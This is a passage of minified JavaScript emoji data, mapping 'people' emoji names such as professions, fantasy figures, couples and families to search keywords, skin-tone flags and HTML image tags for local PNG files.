style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83c\udfa4" src="1f468-200d-1f3a4.png"/>',fitzpatrick_scale:!0,category:"people"},woman_teacher:{keywords:["instructor","professor","woman","human"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83c\udfeb" src="1f469-200d-1f3eb.png"/>',fitzpatrick_scale:!0,category:"people"},man_teacher:{keywords:["instructor","professor","man","human"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83c\udfeb" src="1f468-200d-1f3eb.png"/>',fitzpatrick_scale:!0,category:"people"},woman_factory_worker:{keywords:["assembly","industrial","woman","human"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83c\udfed" src="1f469-200d-1f3ed.png"/>',fitzpatrick_scale:!0,category:"people"},man_factory_worker:{keywords:["assembly","industrial","man","human"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83c\udfed" src="1f468-200d-1f3ed.png"/>',fitzpatrick_scale:!0,category:"people"},woman_technologist:{keywords:["coder","developer","engineer","programmer","software","woman","human","laptop","computer"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83d\udcbb" src="1f469-200d-1f4bb.png"/>',fitzpatrick_scale:!0,category:"people"},man_technologist:{keywords:["coder","developer","engineer","programmer","software","man","human","laptop","computer"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83d\udcbb" src="1f468-200d-1f4bb.png"/>',fitzpatrick_scale:!0,category:"people"},woman_office_worker:{keywords:["business","manager","woman","human"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83d\udcbc" src="1f469-200d-1f4bc.png"/>',fitzpatrick_scale:!0,category:"people"},man_office_worker:{keywords:["business","manager","man","human"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83d\udcbc" src="1f468-200d-1f4bc.png"/>',fitzpatrick_scale:!0,category:"people"},woman_mechanic:{keywords:["plumber","woman","human","wrench"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83d\udd27" src="1f469-200d-1f527.png"/>',fitzpatrick_scale:!0,category:"people"},man_mechanic:{keywords:["plumber","man","human","wrench"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83d\udd27" src="1f468-200d-1f527.png"/>',fitzpatrick_scale:!0,category:"people"},woman_scientist:{keywords:["biologist","chemist","engineer","physicist","woman","human"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83d\udd2c" src="1f469-200d-1f52c.png"/>',fitzpatrick_scale:!0,category:"people"},man_scientist:{keywords:["biologist","chemist","engineer","physicist","man","human"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83d\udd2c" src="1f468-200d-1f52c.png"/>',fitzpatrick_scale:!0,category:"people"},woman_artist:{keywords:["painter","woman","human"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83c\udfa8" src="1f469-200d-1f3a8.png"/>',fitzpatrick_scale:!0,category:"people"},man_artist:{keywords:["painter","man","human"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83c\udfa8" src="1f468-200d-1f3a8.png"/>',fitzpatrick_scale:!0,category:"people"},woman_firefighter:{keywords:["fireman","woman","human"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83d\ude92" src="1f469-200d-1f692.png"/>',fitzpatrick_scale:!0,category:"people"},man_firefighter:{keywords:["fireman","man","human"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83d\ude92" src="1f468-200d-1f692.png"/>',fitzpatrick_scale:!0,category:"people"},woman_pilot:{keywords:["aviator","plane","woman","human"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\u2708\ufe0f" src="1f469-200d-2708-fe0f.png"/>',fitzpatrick_scale:!0,category:"people"},man_pilot:{keywords:["aviator","plane","man","human"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\u2708\ufe0f" src="1f468-200d-2708-fe0f.png"/>',fitzpatrick_scale:!0,category:"people"},woman_astronaut:{keywords:["space","rocket","woman","human"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83d\ude80" src="1f469-200d-1f680.png"/>',fitzpatrick_scale:!0,category:"people"},man_astronaut:{keywords:["space","rocket","man","human"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83d\ude80" src="1f468-200d-1f680.png"/>',fitzpatrick_scale:!0,category:"people"},woman_judge:{keywords:["justice","court","woman","human"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\u2696\ufe0f" src="1f469-200d-2696-fe0f.png"/>',fitzpatrick_scale:!0,category:"people"},man_judge:{keywords:["justice","court","man","human"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\u2696\ufe0f" src="1f468-200d-2696-fe0f.png"/>',fitzpatrick_scale:!0,category:"people"},woman_superhero:{keywords:["woman","female","good","heroine","superpowers"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddb8\u200d\u2640\ufe0f" src="1f9b8-200d-2640-fe0f.png"/>',fitzpatrick_scale:!0,category:"people"},man_superhero:{keywords:["man","male","good","hero","superpowers"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddb8\u200d\u2642\ufe0f" src="1f9b8-200d-2642-fe0f.png"/>',fitzpatrick_scale:!0,category:"people"},woman_supervillain:{keywords:["woman","female","evil","bad","criminal","heroine","superpowers"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddb9\u200d\u2640\ufe0f" src="1f9b9-200d-2640-fe0f.png"/>',fitzpatrick_scale:!0,category:"people"},man_supervillain:{keywords:["man","male","evil","bad","criminal","hero","superpowers"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddb9\u200d\u2642\ufe0f" src="1f9b9-200d-2642-fe0f.png"/>',fitzpatrick_scale:!0,category:"people"},mrs_claus:{keywords:["woman","female","xmas","mother christmas"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd36" src="1f936.png"/>',fitzpatrick_scale:!0,category:"people"},santa:{keywords:["festival","man","male","xmas","father christmas"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf85" src="1f385.png"/>',fitzpatrick_scale:!0,category:"people"},sorceress:{keywords:["woman","female","mage","witch"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddd9\u200d\u2640\ufe0f" src="1f9d9-200d-2640-fe0f.png"/>',fitzpatrick_scale:!0,category:"people"},wizard:{keywords:["man","male","mage","sorcerer"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddd9\u200d\u2642\ufe0f" src="1f9d9-200d-2642-fe0f.png"/>',fitzpatrick_scale:!0,category:"people"},woman_elf:{keywords:["woman","female"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udddd\u200d\u2640\ufe0f" src="1f9dd-200d-2640-fe0f.png"/>',fitzpatrick_scale:!0,category:"people"},man_elf:{keywords:["man","male"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udddd\u200d\u2642\ufe0f" src="1f9dd-200d-2642-fe0f.png"/>',fitzpatrick_scale:!0,category:"people"},woman_vampire:{keywords:["woman","female"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udddb\u200d\u2640\ufe0f" src="1f9db-200d-2640-fe0f.png"/>',fitzpatrick_scale:!0,category:"people"},man_vampire:{keywords:["man","male","dracula"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udddb\u200d\u2642\ufe0f" src="1f9db-200d-2642-fe0f.png"/>',fitzpatrick_scale:!0,category:"people"},woman_zombie:{keywords:["woman","female","undead","walking dead"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udddf\u200d\u2640\ufe0f" src="1f9df-200d-2640-fe0f.png"/>',fitzpatrick_scale:!1,category:"people"},man_zombie:{keywords:["man","male","dracula","undead","walking dead"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udddf\u200d\u2642\ufe0f" src="1f9df-200d-2642-fe0f.png"/>',fitzpatrick_scale:!1,category:"people"},woman_genie:{keywords:["woman","female"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddde\u200d\u2640\ufe0f" src="1f9de-200d-2640-fe0f.png"/>',fitzpatrick_scale:!1,category:"people"},man_genie:{keywords:["man","male"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddde\u200d\u2642\ufe0f" src="1f9de-200d-2642-fe0f.png"/>',fitzpatrick_scale:!1,category:"people"},mermaid:{keywords:["woman","female","merwoman","ariel"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udddc\u200d\u2640\ufe0f" src="1f9dc-200d-2640-fe0f.png"/>',fitzpatrick_scale:!0,category:"people"},merman:{keywords:["man","male","triton"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udddc\u200d\u2642\ufe0f" src="1f9dc-200d-2642-fe0f.png"/>',fitzpatrick_scale:!0,category:"people"},woman_fairy:{keywords:["woman","female"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddda\u200d\u2640\ufe0f" src="1f9da-200d-2640-fe0f.png"/>',fitzpatrick_scale:!0,category:"people"},man_fairy:{keywords:["man","male"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddda\u200d\u2642\ufe0f" src="1f9da-200d-2642-fe0f.png"/>',fitzpatrick_scale:!0,category:"people"},angel:{keywords:["heaven","wings","halo"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc7c" src="1f47c.png"/>',fitzpatrick_scale:!0,category:"people"},pregnant_woman:{keywords:["baby"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd30" src="1f930.png"/>',fitzpatrick_scale:!0,category:"people"},breastfeeding:{keywords:["nursing","baby"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd31" src="1f931.png"/>',fitzpatrick_scale:!0,category:"people"},princess:{keywords:["girl","woman","female","blond","crown","royal","queen"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc78" src="1f478.png"/>',fitzpatrick_scale:!0,category:"people"},prince:{keywords:["boy","man","male","crown","royal","king"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd34" src="1f934.png"/>',fitzpatrick_scale:!0,category:"people"},bride_with_veil:{keywords:["couple","marriage","wedding","woman","bride"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc70" src="1f470.png"/>',fitzpatrick_scale:!0,category:"people"},man_in_tuxedo:{keywords:["couple","marriage","wedding","groom"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd35" src="1f935.png"/>',fitzpatrick_scale:!0,category:"people"},running_woman:{keywords:["woman","walking","exercise","race","running","female"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfc3\u200d\u2640\ufe0f" src="1f3c3-200d-2640-fe0f.png"/>',fitzpatrick_scale:!0,category:"people"},running_man:{keywords:["man","walking","exercise","race","running"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfc3" src="1f3c3.png"/>',fitzpatrick_scale:!0,category:"people"},walking_woman:{keywords:["human","feet","steps","woman","female"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udeb6\u200d\u2640\ufe0f" src="1f6b6-200d-2640-fe0f.png"/>',fitzpatrick_scale:!0,category:"people"},walking_man:{keywords:["human","feet","steps"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udeb6" src="1f6b6.png"/>',fitzpatrick_scale:!0,category:"people"},dancer:{keywords:["female","girl","woman","fun"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc83" src="1f483.png"/>',fitzpatrick_scale:!0,category:"people"},man_dancing:{keywords:["male","boy","fun","dancer"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd7a" src="1f57a.png"/>',fitzpatrick_scale:!0,category:"people"},dancing_women:{keywords:["female","bunny","women","girls"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc6f" src="1f46f.png"/>',fitzpatrick_scale:!1,category:"people"},dancing_men:{keywords:["male","bunny","men","boys"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc6f\u200d\u2642\ufe0f" src="1f46f-200d-2642-fe0f.png"/>',fitzpatrick_scale:!1,category:"people"},couple:{keywords:["pair","people","human","love","date","dating","like","affection","valentines","marriage"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc6b" src="1f46b.png"/>',fitzpatrick_scale:!1,category:"people"},two_men_holding_hands:{keywords:["pair","couple","love","like","bromance","friendship","people","human"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc6c" src="1f46c.png"/>',fitzpatrick_scale:!1,category:"people"},two_women_holding_hands:{keywords:["pair","friendship","couple","love","like","female","people","human"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc6d" src="1f46d.png"/>',fitzpatrick_scale:!1,category:"people"},bowing_woman:{keywords:["woman","female","girl"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude47\u200d\u2640\ufe0f" src="1f647-200d-2640-fe0f.png"/>',fitzpatrick_scale:!0,category:"people"},bowing_man:{keywords:["man","male","boy"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude47" src="1f647.png"/>',fitzpatrick_scale:!0,category:"people"},man_facepalming:{keywords:["man","male","boy","disbelief"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd26\u200d\u2642\ufe0f" src="1f926-200d-2642-fe0f.png"/>',fitzpatrick_scale:!0,category:"people"},woman_facepalming:{keywords:["woman","female","girl","disbelief"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd26\u200d\u2640\ufe0f" src="1f926-200d-2640-fe0f.png"/>',fitzpatrick_scale:!0,category:"people"},woman_shrugging:{keywords:["woman","female","girl","confused","indifferent","doubt"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd37" src="1f937.png"/>',fitzpatrick_scale:!0,category:"people"},man_shrugging:{keywords:["man","male","boy","confused","indifferent","doubt"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd37\u200d\u2642\ufe0f" src="1f937-200d-2642-fe0f.png"/>',fitzpatrick_scale:!0,category:"people"},tipping_hand_woman:{keywords:["female","girl","woman","human","information"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc81" src="1f481.png"/>',fitzpatrick_scale:!0,category:"people"},tipping_hand_man:{keywords:["male","boy","man","human","information"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc81\u200d\u2642\ufe0f" src="1f481-200d-2642-fe0f.png"/>',fitzpatrick_scale:!0,category:"people"},no_good_woman:{keywords:["female","girl","woman","nope"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude45" src="1f645.png"/>',fitzpatrick_scale:!0,category:"people"},no_good_man:{keywords:["male","boy","man","nope"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude45\u200d\u2642\ufe0f" src="1f645-200d-2642-fe0f.png"/>',fitzpatrick_scale:!0,category:"people"},ok_woman:{keywords:["women","girl","female","pink","human","woman"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude46" src="1f646.png"/>',fitzpatrick_scale:!0,category:"people"},ok_man:{keywords:["men","boy","male","blue","human","man"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude46\u200d\u2642\ufe0f" src="1f646-200d-2642-fe0f.png"/>',fitzpatrick_scale:!0,category:"people"},raising_hand_woman:{keywords:["female","girl","woman"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude4b" src="1f64b.png"/>',fitzpatrick_scale:!0,category:"people"},raising_hand_man:{keywords:["male","boy","man"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude4b\u200d\u2642\ufe0f" src="1f64b-200d-2642-fe0f.png"/>',fitzpatrick_scale:!0,category:"people"},pouting_woman:{keywords:["female","girl","woman"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude4e" src="1f64e.png"/>',fitzpatrick_scale:!0,category:"people"},pouting_man:{keywords:["male","boy","man"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude4e\u200d\u2642\ufe0f" src="1f64e-200d-2642-fe0f.png"/>',fitzpatrick_scale:!0,category:"people"},frowning_woman:{keywords:["female","girl","woman","sad","depressed","discouraged","unhappy"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude4d" src="1f64d.png"/>',fitzpatrick_scale:!0,category:"people"},frowning_man:{keywords:["male","boy","man","sad","depressed","discouraged","unhappy"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude4d\u200d\u2642\ufe0f" src="1f64d-200d-2642-fe0f.png"/>',fitzpatrick_scale:!0,category:"people"},haircut_woman:{keywords:["female","girl","woman"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc87" src="1f487.png"/>',fitzpatrick_scale:!0,category:"people"},haircut_man:{keywords:["male","boy","man"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc87\u200d\u2642\ufe0f" src="1f487-200d-2642-fe0f.png"/>',fitzpatrick_scale:!0,category:"people"},massage_woman:{keywords:["female","girl","woman","head"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc86" src="1f486.png"/>',fitzpatrick_scale:!0,category:"people"},massage_man:{keywords:["male","boy","man","head"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc86\u200d\u2642\ufe0f" src="1f486-200d-2642-fe0f.png"/>',fitzpatrick_scale:!0,category:"people"},woman_in_steamy_room:{keywords:["female","woman","spa","steamroom","sauna"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddd6\u200d\u2640\ufe0f" src="1f9d6-200d-2640-fe0f.png"/>',fitzpatrick_scale:!0,category:"people"},man_in_steamy_room:{keywords:["male","man","spa","steamroom","sauna"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddd6\u200d\u2642\ufe0f" src="1f9d6-200d-2642-fe0f.png"/>',fitzpatrick_scale:!0,category:"people"},couple_with_heart_woman_man:{keywords:["pair","love","like","affection","human","dating","valentines","marriage"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc91" src="1f491.png"/>',fitzpatrick_scale:!1,category:"people"},couple_with_heart_woman_woman:{keywords:["pair","love","like","affection","human","dating","valentines","marriage"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\u2764\ufe0f\u200d\ud83d\udc69" src="1f469-200d-2764-fe0f-200d-1f469.png"/>',fitzpatrick_scale:!1,category:"people"},couple_with_heart_man_man:{keywords:["pair","love","like","affection","human","dating","valentines","marriage"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\u2764\ufe0f\u200d\ud83d\udc68" src="1f468-200d-2764-fe0f-200d-1f468.png"/>',fitzpatrick_scale:!1,category:"people"},couplekiss_man_woman:{keywords:["pair","valentines","love","like","dating","marriage"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc8f" src="1f48f.png"/>',fitzpatrick_scale:!1,category:"people"},couplekiss_woman_woman:{keywords:["pair","valentines","love","like","dating","marriage"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69" src="1f469-200d-2764-fe0f-200d-1f48b-200d-1f469.png"/>',fitzpatrick_scale:!1,category:"people"},couplekiss_man_man:{keywords:["pair","valentines","love","like","dating","marriage"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68" src="1f468-200d-2764-fe0f-200d-1f48b-200d-1f468.png"/>',fitzpatrick_scale:!1,category:"people"},family_man_woman_boy:{keywords:["home","parents","child","mom","dad","father","mother","people","human"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc6a" src="1f46a.png"/>',fitzpatrick_scale:!1,category:"people"},family_man_woman_girl:{keywords:["home","parents","people","human","child"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83d\udc69\u200d\ud83d\udc67" src="1f468-200d-1f469-200d-1f467.png"/>',fitzpatrick_scale:!1,category:"people"},family_man_woman_girl_boy:{keywords:["home","parents","people","human","children"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d\udc66" src="1f468-200d-1f469-200d-1f467-200d-1f466.png"/>',fitzpatrick_scale:!1,category:"people"},family_man_woman_boy_boy:{keywords:["home","parents","people","human","children"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83d\udc69\u200d\ud83d\udc66\u200d\ud83d\udc66" src="1f468-200d-1f469-200d-1f466-200d-1f466.png"/>',fitzpatrick_scale:!1,category:"people"},family_man_woman_girl_girl:{keywords:["home","parents","people","human","children"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d\udc67" src="1f468-200d-1f469-200d-1f467-200d-1f467.png"/>',fitzpatrick_scale:!1,category:"people"},family_woman_woman_boy:{keywords:["home","parents","people","human","children"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d\udc66" src="1f469-200d-1f469-200d-1f466.png"/>',fitzpatrick_scale:!1,category:"people"},family_woman_woman_girl:{keywords:["home","parents","people","human","children"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d\udc67" src="1f469-200d-1f469-200d-1f467.png"/>',fitzpatrick_scale:!1,category:"people"},family_woman_woman_girl_boy:{keywords:["home","parents","people","human","children"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d\udc66" src="1f469-200d-1f469-200d-1f467-200d-1f466.png"/>',fitzpatrick_scale:!1,category:"people"},family_woman_woman_boy_boy:{keywords:["home","parents","people","human","children"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d\udc66\u200d\ud83d\udc66" 